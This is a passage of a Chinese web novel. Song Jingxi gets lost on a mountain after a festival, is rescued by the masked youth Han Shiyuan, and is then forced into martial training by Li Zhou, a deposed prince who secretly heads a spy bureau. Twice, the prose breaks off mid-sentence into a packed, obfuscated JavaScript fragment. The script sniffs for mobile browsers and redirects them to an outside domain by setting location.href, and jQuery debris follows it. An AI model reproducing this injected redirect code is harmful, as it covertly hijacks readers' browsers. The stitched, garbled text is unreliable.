巫师踏入阵中,嘲道:“超度你?错了!渡你的是佛,而我,唯除尔而天下大吉!”说罢,一剑送上,山鬼心脏被贯穿,鲜血从面具下流出,摇晃两下后,倒地。 乐声变得分外激昂起来,有如冲天。乐手唱词解释道——大喜大喜!山鬼终于死了! 将短剑还给巫师后,宋景熙退了场。郑禹原坐在树上晃着腿道:“厉害啊宋景熙!上不上来?” 宋景熙道:“不了!斗鬼会结束了,没表演了!” 沈本庭道:“应该还未完全结束吧?” 宋景熙笑眯眯道:“是呀。还有最后一环呢。” 果然如此。不出一会,突然四周再次如同狂风大作般,树林哗哗作响。“法圆大师”神色凝滞,身体倒向一侧,被弟子接住,他口溢鲜血,道:“咳...它,它逃了。咳咳......” 乐手再唱了起来——原来,山鬼自爆了!以毁弃原身为代价,换得魂灵出逃了! 巫师高声道:“各位!恶鬼出逃,然而其魂魄也受到影响,七魂分散,分别附居于七块人偶残躯之上。现需各位倾力相助,寻回木偶之身,协我等斩草除根,永绝后患!” 郑禹原诧异道:“还有这环节?“ 人群发出一阵欢呼。终于到了他们的环节了!传说中自然是没有这个情节的,之所以祭会有,也只是为了让看客们图个新鲜刺激罢了。为了避免几百个看客对一个完整的躯体争来争去,往年在这一环节,木偶的躯体都是被分成了七个部分,一个部分一分魂魄。也就是说,一共有七个木偶残躯分散在山中,等着被找到。 不过眉寿山范围之大,几百个人大半夜的翻一整片山也不太现实,故而这些分散的躯体往往不会离光隐寺太远,会有一片围绕着光隐寺的范围被划定。巫师说明残躯的散落范围后,郑禹原噌地一下跳下树,摩拳擦掌起来:“好好好,这个环节好,太有参与感了,咱们走!” 六七个少年跟着人群跑远,漫无目的地寻索了半个时辰后,郑禹原提着灯照亮一片草地,苦着脸道:“不是我说,这都找了半天了,灯都快熄了,咱们连个影儿也没找到。这地方真有那什么破木偶吗??” 宋景熙道:“这片范围说大不大,说小却也不小,我们聚在一起,实在是太难找到了。” 听了这话,一个少年忽然福至心灵,道:“那不如我们分散开来,两三成组,各找各的,速度应该会快些,如何?” 好主意!几个人立刻分散成组,宋景熙和沈本庭分到了一组。两人凭着感觉找路,路上碰到其他人,问了一嘴,听说居然已经找到三四个残躯了。又是半个时辰过去,两人依旧一无所获。 宋景熙摸了摸鼻子,感觉碰了一脸灰,略感沮丧道:“气运这般差,难道是今日不宜出门?” 沈本庭举着灯朝树上望去,试图找找残躯是不是被挂在树上了,边看边道:“说不准呢?只剩下半个时辰,恐怕也找不出什么。看来这份奖励注定不属于我们了。要不...先和禹原他们会合吧?” “还有半个时辰呢。”宋景熙坚定道:“不能这样早早放弃。”边说着,两人走到一条分岔路前。望着两条漆黑且无人的路,原本该感到害怕的宋景熙不知哪里升起来的胆子,道:“这有条岐路,若先后走,有些浪费时间,你左我右,会更快些。” 沈本庭不赞同道:“不可。山路崎岖,易出意外。还是两两结伴妥当。” 宋景熙道:“我就知道你会这样说。唉,可是我真的好想要那个奖,我想将它送给我长兄,朋友一场,你就帮帮我嘛。何况半个时辰,也不会出什么事,哪有这么倒运的。”软磨硬泡两句后,沈本庭果然叹气道:“随你。注意安全。” 偏偏就是这么倒运。这条路迂回百折,走了不知多远以后,宋景熙终于意识到,自己迷路了。更倒运的是,灯还熄了。 拍了拍提灯后,火苗蹿了两下,彻底熄灭了。 “......”宋景熙忍不住低声咒骂了一句,心下烦躁,还有些不安和害怕。四下寂静无比,月光惨淡,又毫无光源可言。一片黑中,宋景熙转了个身,决定往回走。 摸黑走了一段,也勉强能看清点东西,宋景熙提着心小心翼翼地走,尽量往树木稀疏的地方去。岂料这条路居然越来越窄,路旁是一片坡度较高的山坡,像是山上樵夫踩出来的土路。路过一片草丛时,忽然听到草丛里悉悉索索的声音。 是什么小动物还好,如果是蛇之类的毒物,那可真是不妙!宋景熙深感走错地,于是再度折身返回,加快脚步,远离此处。 那悉悉索索的声音越来越大,仿佛近在耳后。这种被追逐的错觉让宋景熙一颗心几乎提到了嗓子眼。他提气小跑起来。然而才跑出两步,这原本就不太宽敞的小土路边竟有个缺陷的土坑,又好死不死地给宋景熙踩到了。顿时只感到脚踝一痛,视线一倒,整个人向山坡下摔去。 啊—— 这声惊呼,不止是因为快要摔下去了,更是因为,有人抓住了他的手臂! 他下意识地看过去,竟在月光下看见那张颇为熟悉的山鬼面具,然后便看不清了。因为下一刻,两人一同摔了下去。 撞到地面的一瞬,宋景熙脑海里只有一个想法,好痛! 那人早已松开手,和宋景熙滚向不同的地方去了,这人又似乎是撞到了什么东西,发出一声闷哼。山坡坡度太高,两人失去重心后,一路向下滚去。所幸这坡上树木和凸起的石头并不多,如果撞上,这条命是要交代在这了。不知滚了多少个圈以后,砸到一片平地上,终于停了下来。 好在虽然痛,却没有摔晕过去。抬手,手疼;抬腿,腿痛。宋景熙摔得头晕眼花,清明过后,狠狠喘了几口气,又挣扎了一阵,居然勉强爬了起来。 他环顾一圈,看见那人也是摔了下来,而且就躺在不远处。 宋景熙一瘸一拐地走上前,喘息道:“你的腿...没事吧?” 这少年伤势似乎比他更严重,剧烈地咳了几声,缓缓地从地上撑起,拖着一条腿,靠到了一颗石头上。那山鬼面具也已经掉到不知哪去了。面具之下是个青涩而俊气的脸庞,线条并不明晰。双目冷若寒星,眉头紧皱,唇角下抑,很是不悦。 少年冷然道:“我看着像是没事的样子吗。”他的右侧小腿上已经被划出一道宽而长的血口,鲜血淋漓,相当可怖。 “早知道就不救你了,祸害。” 宋景熙叹了口气,这少年是被他连累的,态度不好也正常。于是他真诚地道:“对不起,连累你了。” 那少年反倒不说话了。 宋景熙思索了一阵,捂着肚子呲牙咧嘴地坐到地上,解开腰带,脱掉了外衣。少年见他脱衣,脱得只剩一身雪白的里衣,霎时诧异道:“你做什么?!” 宋景熙理所当然道:“你的腿需要止血,我的外衣脏了,里衣干净,可以拿来止血。”顿了顿,又有些不好意思道:“不过我只知道这些,不知道具体怎么手法,你自己能包扎吗?” “呲啦”一声,少年看着被塞过来的一团白色布料,唇角抽了抽,没有拒绝。在他包扎的空,宋景熙又从地上呲牙咧嘴地爬起来,来来回回四面八方地走动,换了好几个朝向呼救,呼了半天,毫无回应。不禁喃喃道:“奇怪......怎么会没人呢?” 少年冷哼道:“这是光隐寺后山,僧人坐化后埋葬的地界。少有人知道,更少有人来,已经不在光隐寺划分的残躯范围了,你走错了路,当然不会有人来。别喊了,白费力气。” “万一有人和我一样走错了路呢?你的手法很好诶,包扎的很漂亮。”宋景熙由衷地赞叹。少年呵笑了声,不多言。又呼救了一会后,依旧毫无回应,心想这少年说的的确不错。他坐到少年身边,搭话道:“你是斗鬼会上扮演山鬼的第二个人吧?” 少年道:“你是接过巫师剑的人。” 宋景熙点头笑道:“是我。你的表演好精彩,武力也很强。你叫什么名字?多大了?我应该比你大吧?虽然比你大,但我还是打不过你。和你打的时候我就看出来了,你故意收了手,如果没收手的话,我肯定打不过你。你很厉害,那扮演巫师的人都不一定有你厉害。你是跟谁学的武?” 少年绷着张脸,似乎是不知道从哪回答起。宋景熙扑哧笑了声:“抱歉啊,我自顾自说了那么多。如果觉得为难的话,那不妨先回答最后一个问题吧!” 少年闷声道:“自学。” 宋景熙道:“不应该啊,自学学不到这种程度吧。你别骗我。” 少年略显郁闷地道:“......没骗你。” 宋景熙道:“那好吧,我相信你。换个问题如何,你是怎么当上山鬼的?”七八岁第一次参加祭会那时,他见到山鬼的两位扮演者都是五大三粗的大老爷们。而这回选了个十四五岁的孩子,挺稀奇的。 少年道:“...选中我了而已,没什么。” 宋景熙道:“当山鬼累不累,好玩吗?” 这回少年没有犹豫:“不累,不好玩。” 听起来像是实话,愿意说实话,这也算是一种进步。再接再厉,宋景熙笑眯眯道:“听说光隐寺为这一场祭会排演了半年多,这半年多没有碰上什么好玩的吗,一件也没有?” 少年道:“没有。一件也没有。佛门里的事,能有什么乐趣?” 宋景熙道:“这倒是,我也对那些梵音佛经一点兴趣也没有。既然不好玩的话,为什么又说不累?一般来说做自己不乐意的事会感到很累啊,而且排演的话不是挺麻烦么,我听说练了大半年欸。” 少年道:“我根本不需要排演什么。化人形的山鬼只需要打来打去,对我来说,很简单。除了住持,寺中没有一个人能打得过我。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773777|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这话换作旁人,肯定会觉得这人口气大,心高气傲。但说这话的人是这少年,宋景熙一点也不怀疑这句话的分量,笑了一声。少年怀疑地道:“笑什么,你不信?” 宋景熙哈哈道:“没有没有,我只是觉得很有意思。你继续。” “......”少年垂下脑袋:“没别的了。” 宋景熙生怕他不愿意说下去,继续问道:“你是山中人家的孩子吗?为什么欠他们人情啊。” 这回,少年没有回答他,反问道:“你是谁?” “哦不好意思,问了这么多,我还没自我介绍呢。”宋景熙露齿一笑,道:“我叫宋景熙,是住在汉阳城内。本来呢是和友人们一同过来的,如你所见,迷路了,然后碰到了你,是不是很有缘分?” 少年眼底闪过一抹异色,念了一遍:“...宋景熙。” 宋景熙补充道:“景色的景,熙和的熙。” 少年道:“你父亲是?” 没想到他会问这个,一般来说交朋友不会问家父家底?但宋景熙凭一颗真诚之心走天下,毫无顾忌地道:“家父名讳宋道真。你呢,你叫什么名字?住在哪里?交换名字才算朋友。” 岂料少年哼了一声,重回了那副冷然的样子:“宋道真...果然有缘分。” 他这声说的极低,几乎是喃喃自语。宋景熙听得模糊:“什么?” 少年移开眼,不发一言。过了半晌,宋景熙还在郁闷这人态度转变为何如此快,终于听他道:“朋友也不一定要交换名字。你问吧,除了名字,我都告诉你。” 宋景熙松了一口气,怀疑是自己多想,笑道:“不一样的,朋友之间怎能不知名姓?不过你不愿意告知也无妨,这是你的自由。等你想说的时候再告诉我也不急!现在更急的是你的腿,这里根本没有人经过,我们不能在此坐以待毙,得先赶紧离开这片后山。你行动不便,我来背你吧。” 少年俊美的脸上流露出几分惊讶,毫不犹豫地拒绝道:“不要。你自己也受伤了,背得了我?” 宋景熙从地上站了起来,手和腿上的伤磨得一痛,忍不住嘶了一声,然而吃痛的神色很快溜走。他假装若无其事地道:“我这不是还能走嘛。无事,看你轻得很,我背得起。” 少年盯着宋景熙蹲下来的背,无情道:“不要。” 宋景熙道:“真不要?” 少年道:“不要。” 宋景熙道:“不是在嘴硬?” 少年道:“不是。” 宋景熙果断道:“但是你的腿伤不能拖太久。那这样,你待在这里不要离开,我去找人来,成不成?” 少年怀疑地看了他一眼。宋景熙挠挠脸,道:”我沿路做些标记,应该不会再迷路了。放心,我不会走太远的,找没找到人,我都会回来。我发誓!” 少年唉了一声:“我认识路。看见那边那条路了么,顺着这条路向上走,再向右,遇到一条歧路,走第三条,再向上向左,能找到光隐寺。如果你想自己走,不必说这些话,也不用管我。不确定的事,不要对我发誓。” 宋景熙捡起落在地上的外衣,随便披上,扬唇笑道:“我确定,我发誓,我一定会找到人来救你,不然叫我天打雷劈五雷轰顶。” 少年盯着他的背影,看着他渐渐走远。 顺着少年所说的路线,忍着膝盖和脚踝的疼痛走了许久后,宋景熙终于看到林间摇曳的光影,那是十多个熊熊燃烧的火把。见到火把,就好像见到了救星。他当即大声呼喊,这声呼喊引起了火把们的注意,飞速地朝他而来。 郑禹原持着个烧得火红的火把,双眼和火把一样通红。见到宋景熙,立刻丢下火把,重重地扑向他,大哭大喊道:“哇啊啊啊啊啊啊啊宋景熙你没事吧你去哪了怎么消失了这么久你知道我们有多急吗我怕死了生怕你出了什么事我怕得要死如果你出了什么事我也不活了啊啊啊啊!” 宋景熙被勒得喘不过气,伤痕也被压得发痛,疼到嘶了一声。郑禹原立刻放开他,上下扫视了一眼,惊恐道:“我靠啊宋景熙怎么浑身是伤你怎么搞成了这个鬼样子??谁打你啦?!啊啊啊啊啊你的脸怎么也受伤了天杀的完美的脸被毁了!!!” 宋景熙咳了两口气,劫后余生般道:“不小心摔下山坡摔成这样了。没事,这不是还没死吗,都是擦伤,不要紧的。” 郑禹原道:“没事个屁啊!本庭说你和他分开后已经消失了快两个时辰。什么东西能让你找两个时辰??我们都快急死了,所有人都在找你!你爹你哥听说后也过来了,现在都正带着人找你呢!这山都快被翻过来了。还好我先找到你了,我的小祖宗啊,还好你没事。走走走,咱们赶快回去报平安!” 宋景熙道:“啊...麻烦你们了,其实我真的没事。我被一个人给救了,他自己却受了伤,正在那里等我。我答应他了,我得回去救他。” 郑禹原踏脚道:“哎啊小少爷,现在最重要的是你!哪来的心思管别人?你说个位置,我让人去找他成不成!你先跟我回去!” 宋景熙坚持道:“不行的。他认生,你们去了,他怕是不认。” 郑禹原惊道:“这么娇气?到底他是小少爷还是你是小少爷?” 宋景熙不多言,转身就往回走:“我答应过了的,要找到他才行。” 郑禹原跳脚道:“唉...!服了你了宋景熙,行!都跟上!” 郑禹原跟着宋景熙,十多个家仆跟又着郑禹原。走了半天,回到了那片地方。可此刻,这里分明已经空无一人了。 郑禹原踢了一脚落叶,愤懑道:“满意了吧小少爷?这里根本没有人。他怕是已经跑了,或者被人救走了!” 宋景熙纳闷了一阵,扫视一圈,忽然神色一喜。地上有一片被清扫出来的空地,用许多碎石和树叶摆了个简易的地图。地图的下面似乎还写了一个几个字,但被抚平抹去了。 郑禹原纳闷道:“这是什么玩意?” 宋景熙惊喜道:“这是他摆的地图!他应该住在这里,这是他的家。” 郑禹原道:“嗯嗯嗯是是是他的家在这里所以呢这一点也不重要,既然他人都不在这里,说明肯定被救走了小少爷算我求你咱们回去行不行?你还想去他家找他不成。” 宋景熙嘴角嚅动两下,郑禹原大惊失色,立刻道:“绝对不行!陪你来这已经是仁至义尽了。宋景熙,你得考虑下你自己的身体!这山上什么人比你自己还重要?现在已经很晚了,再折腾下去天都亮了,回去!回去!” 宋景熙投降了。 经历了父亲的破口大骂和长兄的追问关心后,宋景熙才知道这一回失踪闹得有多沸沸扬扬:宋府和与宋府交好的世家统共派了上百人搜山,这事甚至惊动了宫中人,王上听说后,竟也派了御营厅的士兵搜山。这阵势,第二日,汉阳城内便传言,眉寿山上出了个大逆贼,抓了一整夜。 这些茶后闲谈,说者乱说,听者乱传,一笑也罢。宋景熙被摁在府里养伤,对这些传闻全然不知。还发了一场低热,只不过很快就好了。没过几日,宋府就吵成了一片,原来,祖母心性向佛,听了他在眉寿山祭会上做的事,当场敲定是他带头爬树,对灵树不敬,才惹怒了佛祖,受了惩罚。须得去寺中修行一段时间,才能过得了这一道坎。父亲则气得直呼荒谬,坚决不同意,这要是耽误了学业可还好?两方僵持不下,闹得十分不愉快。 宋景熙拄着拐杖,路过祖母的屋子,咳了两声,以此引起屋里僵持的祖母和父亲的注意。他推开门,正色道:“我去。” 29. 师徒其一 于是乎,待腿脚痊愈后,宋府便向宗学告了假罢了课,让宋景熙不太顺利地开启了为期半年的光隐寺带发修行。 既然是修行,修的自然是食苦尝淡。不过宋景熙一个大病方愈的,食的苦也算是够了,寺庙里很贴心地没有让他帮忙种田砍柴挑水。因此,宋景熙每日在光隐寺,除了念一些晦涩且乏味的经以外,可谓是无事可做。无事过于无聊,宋景熙干脆也下地干活去了。 其实也是为了和住持打好关系。他相当有耐心地等了四五日,也没有等到那天晚上见到的少年。于是纳闷地去问住持师傅,主持师傅说了一堆难懂的话,一通听下来,大概意思就是:小施主自己找吧! 当天,宋景熙抛下经书,换了衣服,拍拍手走了。他下地帮忙的时候将那少年画的地图在田地里画了好几遍,在脑海里也复盘了好几遍,这下是记得真真清楚了。顺着脑海里的地图走。一个多时辰后,抵达一处小山峰之上,长空映照,树影围绕。斑驳之中,是一间简陋的房舍。 房舍外,一个身着白袍,头戴黑笠,蓄着胡须的中年男子挑着两桶水,朝屋内大喊道:“韩时元,给我出来!” 半晌,屋内无人应答。 男子再喊道:“你是腿受伤了,又不是耳聋了。出来!这水桶重死了,你来提!” 窗户被推开,一个端坐的人影露了出来。宋景熙看得真切,这分明就是那晚的少年,一模一样俊逸的脸。韩时元伸出半个脑袋,毫无感情地笑道:“麻烦老师...了。”他似是看到窗外有什么意外的东西,眼底流过一抹惊讶,顿了顿,淡声道:“是你。” 男子道:“啊...啊?”待他转过身来,见到个衣着素净而面容秀气的人,很是惊讶道:“呃?” 宋景熙正准备解释,那男子摸了摸胡须,故作高深道:“哦我知道了,你是那天晚上时元等的人吧?” 又是不待宋景熙开口回答,男子指了指地上的水桶,道:“既来便是客。来,替我将这水桶搬过去!” 简直让人哭笑不得,哪有一上来就让“客人”干活的理,但宋景熙还是照做了。手搭上水桶的一刻,屋内坐着的人一语不发地将窗户静静关上了。 这一搭手,就是没完。提水上了台阶,男子突然使唤宋景熙去给庭院拔草。拔完了草,男子又使唤他洒扫起庭院来。洒扫完庭院,已过了一两个时辰,正当他放下扫帚看向站在台阶之上的男子时,男子也正抓着胡子笑眯眯地看着他,神色似乎...十分满意? 又似乎在盘算着什么。 男子果然很是满意地道:“来来,休息会,跟我进屋。” 这是一方两居的小破屋。而男子带宋景熙进的,则是那被唤作“韩时元”的少年所在的屋子。 韩时元一眼不看进来的两人,自顾自地看着一卷书籍,竟然是在读书,虽然不知读的是什么。男子乐呵呵地招呼宋景熙坐下,又对韩时元道:“还看书呐?” 韩时元面无表情道:“不是您说,闲暇之时多读书么?” 男子摇着手指指着他笑骂道:“那你就看吧。客人都在这了,看你看不看得进去。”他说完便一撩下袍作势坐下去。在宋景熙看不见的地方,男子神不知鬼不觉地甩了甩袖子,一块藏于袖内的圆形腰牌便顺着他的心意滑了出去,清脆地“啪嗒”一声掉在了地上。 好巧不巧,这腰牌竟然恰好落在宋景熙脚边,更好巧不巧,竟然还是刻字的那一面朝上。只用瞟一眼,便看见其上刻着“曳扇台主”四个大字。 看见这四个字,宋景熙吃了一惊。 在海东,上至王族世家,下至平头百姓,皆有个象征身份的身牌,用以辨别身份。当然也很难造假,因为不止可以靠牌上写的字来辨别身份,材质也是个参考。譬如地上这个。这是个象牙制的腰牌,看着有些年头了,不仅变成了姜黄色,更是已经有了裂纹。 几乎没有人会不知道曳扇台,说白了,就是君主的爪牙,比义禁府还要直接,且隐蔽。但是虽然知道,可对于曳扇台究竟在哪,台里有哪些人,台主又是谁,绝大多数人却是一无所知。而眼前这位的人,就是曳扇台主?! 男子等他看清腰牌上的字便眼疾手快地将腰牌捡了回去,心疼地摸了摸:“哎哟本来就裂了,这摔得可不轻啊......” 完全没提腰牌的字。宋景熙心道:“这个身份被我无意知晓了,怕是不好,还是当作没看见好了。”接着也便从容地坐了下来,假装无事发生。 男子反倒郁闷了,故意让这孩子看见的,这孩子反倒故意装作没看见?? 一心一意看书的韩时元哼笑了一声。男子挠了挠下巴胡茬,道:“那上面的字你看到了?” 宋景熙当即道:“啊?没看见欸。” 男子立刻道:“胡说!你肯定看见了!” “看你方才那震惊的眼神,肯定知道我是曳扇台主了!哎呀这可怎么办啊,我的身份竟然暴露了!” 宋景熙本来还想装傻,但一来想到说自己不知道曳扇台这太假,二来在盯着他的男子的注视之下,他也面上挂不住了,于是颇为尴尬地开口道:“不好意思,我不是故意看的......”话说出口,又突然想到难怪那日问韩时元身份名姓,居家地址,他却不肯说。现在想来,看来是曳扇台里的人,难怪不肯告知。 男子嘻嘻一笑,大方摆手道:“不是什么大事!” 宋景熙腹诽道:“那你还非让我承认看见了!” 男子再道:“哼,既然你已经知道我的身份了,那我不如干脆坦白了。”说罢,男子两手在身上一摸,像变戏法般又摸出来一个腰牌,扔给宋景熙。宋景熙接住一看,这个与上一个不同,是翡翠制的,活脱就一个意思:我是王族。 仔细想想,曳扇台主一般是君王最亲近的人,而最亲近的人,多半都是王族的人。如此一来,这位曳扇台主的王族身份,也就不奇怪了。 果然,将玉腰牌翻过来一看,上面赫然刻着六个大字:崇绫大君李珘。 宋景熙不知道自己现在的表情是什么样子,也不想知道。因为他明白自己一定控制不住下巴。 面前这人是谁?崇绫大君?!如果他没有记错的话,崇绫大君就是那位被废掉的世子原先的封号,而这位废世子,不是早就因意外而葬身海底了??可是现在,废世子不仅好端端地坐在他面前,还同时是曳扇台主! 他仔细检查了腰牌,也没有发现造假的痕迹。其实根本不用检查的,那曳扇台主的腰牌造不了假。台主既要身份隐蔽,又要得君王亲信,大部分人做不来。如果是个在朝廷上有名有姓的官,只怕这台主没做多久身份就会被扒个精光。而崇绫大君这种“大家都以为意外死了其实没死不仅没死还改头换面隐姓埋名继续干活”的身份最合适了。 深吸一口气后,宋景熙将玉牌还给李珘,尽量平静道:“原来是这样。” 这下,轮到李珘诧异了:“什么原来是这样,我还什么都没说,看了两腰牌你就知道了?废世子的事情你可听说过,你知道我就是那个废世子吧?”见宋景熙点头,更加诧异道:“那我是怎么活下来的,还有所谓的废世子又是怎么个回事,你不好奇?你知道?” 宋景熙诚恳道:“我不知道。” 李珘道:“那你不问问?” 宋景熙道:“方便问吗?” 意料之中,李珘道:“当然不方便。” 宋景熙摊手道:“所以我才不问。问了您也不会答,不是吗?再说既然是别人的私事,我为什么要问这么多?问得太多,会让人感觉很讨厌,没有礼数。面对这样的人,如果是我的话,我会敬而远之,往后再也不和此人相见了。如果想知道对方的事情,还不如与之好好相处,等时机到了,对方自然会主动说的。” 听了这话,一直沉默看字的韩时元突然浅笑了声,却并没有说话。宋景熙眨了眨眼,心知他这是想起那天滚下山后两人的对话了。 李珘满意地露出了笑容,朝韩时元道:“看我之前说得对吧?我就知道我没看错人。” 韩时元难得嗯了声。 这话宋景熙没听懂,疑惑地啊了声。 李珘嘿嘿道:“我呢之前和时元这小子受了光隐寺的恩惠,欠了住持一点人情,君子说来而不往非礼也嘛,住持一时找不到适合演山鬼的第二个人选,我就让时元去凑数了。这小子表现得还可以,祭会那天我就在现场,然后看到‘巫师’将剑丢给你让你上场和时元演的山鬼去打,你打得很精彩啊孩子,我看了之后心里就想,嘶,这孩子是个可塑之才,绝对大有前途。” “何况你也知道了我的身份,曳扇台那是干嘛的?就是聚集能打的人的地方嘛!我作为曳扇台主,自然也就要相看人才咯。这挑选人才,一要看有没有能打的潜质——这点你合格了;二要看人品脾性如何,所以祭会当天搜寻山鬼残躯时,我便让时元暗中跟着你,看你人品如何......” 韩时元咳了一声,低声道:“这就不必讲了,老师。” 李珘道:“哎呀,说得多点怎么了?反正我对你很满意就是了。哈哈哈,不过有一点我不满,你有些莽撞,不够谨慎,竟然摔下了山坡,害得我找时元找了半晌,哎这就不多说了,人有些不足很正常,谁不是练出来的对吧。讲简单点,愿不愿意和我学武?” 宋景熙不理解道:“我为什么要和您学武?” 李珘道:“因为我很厉害。你是在宗学进学?那里的教练能有什么能力。我看你对武学有些天赋,若是被埋没,实在太可惜!我敢保证天底下没有比我更会打架的人了,跟我学武不会亏了你的。” “不要。”宋景熙果断拒绝了:“我学武只是为了能够自保,并无登峰造极的追求。虽然您很厉害,但是实在对不住,晚辈没有这个心思...” 其实这话说的不对,他对武术其实很感兴趣,甚至比读那些无聊的圣贤书感兴趣多了。他长兄宋景元很早就发现了这一点,所以在他小时候,长兄就教过他一些武术,还替他请来名师教学。可惜后来被父亲发现,怒斥不务正业,遂罢了。如今眼前居然掉了个大馅饼,有人说要教他学武,说不心动当然是假的。可是馅饼往往不能白吃,说不定往后麻烦事多了去了,还是不要随便答应为好! 见他拒绝,李珘那双布着几道皱纹眼中流露出一丝狡猾,他略微不怀好意道:“你完了,孩子。不答应也得答应, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773778|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既然已经知道了我的秘密,还想着全身而退吗?时元,给我上!” 话音落地,一道迅猛的拳头直冲而来。宋景熙惊得从地上弹跳而起,猛然往后退,背后却是空无一物的墙,又只好往旁边撤退,才堪堪躲过紧接而来的第二拳! 宋景熙不可思议地看着韩时元落空的拳头,又忍不住视线上移,盯着那张俊秀而不锐利的少年脸庞,吃惊道:“什么意思??”这一拳是朝着他面门打来的,如果他躲的不及时,鼻梁已经碎了! 明明刚才听了他的话还在笑! 韩时元没有收手,而是转了个身,又是一拳袭来。不过这一拳打得不远,宋景熙往旁边退了一步,撞到靠墙的书架上,喊道:“什么意思?!” 怎么还带打人的?!! 李珘比他喊得还要大声:“出去打!出去打啊!别把我的书架打坏了!” 闻言,韩时元收起了拳。见他停止动作,宋景熙惊疑不定地左右一看,摸到门边,哐地一声推门迅速溜走。 可他才刚飞速跑下台阶,一道矫健的身影便从先前的窗户跳了出来,挡住了去路。宋景熙依旧难以置信,道:“为什么打我??”‘ 就因为他不肯学,所以报复?? 这时,李珘从窗户里丢了两把木剑出来,落在两人脚边。李珘嬉皮笑脸道:“快打呀!” 宋景熙猛地看过去,也顾不得什么王族不王族、礼数不礼数了,大声质问道:“这到底是什么意思?!” 李珘坐到窗边,兴奋地道:“打赢了就放你走!打不赢就留在这跟我学武咯!” 宋景熙崩溃道:“我拒绝!!”哪有这样逼迫人的!更可疑了! “绝”字卡在喉咙里,一把木剑已经朝他刺来。宋景熙狼狈地躲过这一剑,蹲到地上捡起剩下的那一把,又逃窜一样躲过背后一剑,终于找到空隙回身正面迎敌。这虽是把木剑,可是戳在身上依旧是会痛的。十招下来,宋景熙被刺中三次,胸口、手臂、肩胛各一处。韩时元的木剑像凌风的利矢,招招狠戾,招招致命。宋景熙承受得痛苦,这下他是真真切切感受到了,那天斗鬼会上,对方是确确切切收了手的!! 宋景熙握紧小木柄,直视着韩时元,眼神坚毅起来。 那这就不怪他也收手了! 宋景熙退后五步,拉远距离,双步划开,韩时元果然接近过来,待他一剑刺来,宋景熙横刀扛住。这道力震得他虎口发痛,却仍然勉强笑了一笑,立刻撞开对面刀身,朝下劈砍而去。韩时元也立即竖刀抵住,他能感受到这股力分外强劲,不由得抬眼看了宋景熙一眼。宋景熙再次朝他一笑,道:“你猜我要怎么打?” 他绝对猜不到的。 韩时元的声音极其平淡:“你打不过我的。” 宋景熙笑道:“那就试试。” 说罢,他提膝撞向两把交叉的剑,两把剑合并一瞬后反向错开,韩时元的剑被踢开后扬向外侧,划了一道弧线。宋景熙立刻攻上去,两把剑你劈我躲,我砍你拦。一个左右挥砍后,宋景熙趁韩时元侧身□□时,迅速钻到对方身后,提剑划向腰腹,并狠狠踹了一脚。 这一脚踹中了腿窝,又带着些怨气,踹得极其用力。韩时元虽被踹得够狠,但显然这点力度还不够他跪下。不过惹起他的怒气算是够了。他立刻转身往后挥去,却挥了个空。 他的面前,已经没有人提剑和他对战了。因为宋景熙早在踹完他的一瞬间,立刻收脚弹出去,丢下剑跑了。 谁说打架一定要打赢才能走了?打不过还可以跑啊! 李珘唉声叹气道:“不恋战也算是一个优点吧。” 宋景熙欢天喜地地刚跑出去两步,一把剑就横到了脖子前,将他逼退了回来。 宋景熙简直难以想象,一个人的反应究竟为什么可以快到这种地步?? 背后之人道:“你输了。” 罢了,举手投降。 这回,李珘欢天喜地地站了起来,也翻过窗跳了过来——看来韩时元跳窗是跟他学的。他很得意地道:“怎么样,我教出来的徒弟喔,厉害吧?” 脖子上的剑移开了,宋景熙干笑了两声:“呵呵...是啊...” 李珘笑眯眯道:“还不乐意跟我学武吗?” 宋景熙又干笑了两声。他就不学,还能把刀架在他脖子上逼他学? 李珘再道:“你也不必急着回答,光隐寺的生活很无聊吧?我听说你可是要在光隐寺待里个半载啊,天天在那鸟都不飞进去的地方待着有什么好玩的,不憋得慌吗?不如跟我学武,正好也可以打发打发时间。” 这一下,终于说中宋景熙的痛点了,他从没有过过比上课还要无聊的日子,直到去了寺庙。再说,他当初答应祖母来光隐寺洗罪,想的也是找找那位扮演山鬼的友人。再再者,方才那一架,除去逃跑的心思,的确算得上酣畅淋漓,好像回到了小时候和长兄练武时,打得不顾一切、你死我活一般。这样想着,似乎终于给自己找足了理由,宋景熙沉默了片刻,道:“......那,我只是随便学学。” 李珘一乐,心道计划成功,道:“也行,反正等你学了两天,你就会求着拜我为师的。” 30. 师徒其二 宋景熙觉得,崇绫大君李珘,应当不止是个曳扇台主,还是个能算命的。果真料事如神。他逃离寺庙枯淡无味的生活,溜到李珘那里练了不到三天,就怎么都赶不走了。 学了一段时间后,果然进步神速。因为宋景熙和韩时元的水平不在一条线上,所以李珘对二人的训练也并不一样,并且将更多的时间放在了宋景熙身上。这日,李珘忽然道:“我这几日看你们俩练武,越看越不顺眼,怎么回事?” 宋景熙答道:“不能吧?”心中却暗自道:难道是他打的太烂了,老师还没看习惯? 韩时元则皱着眉道:“是老师还没看习惯吧。” 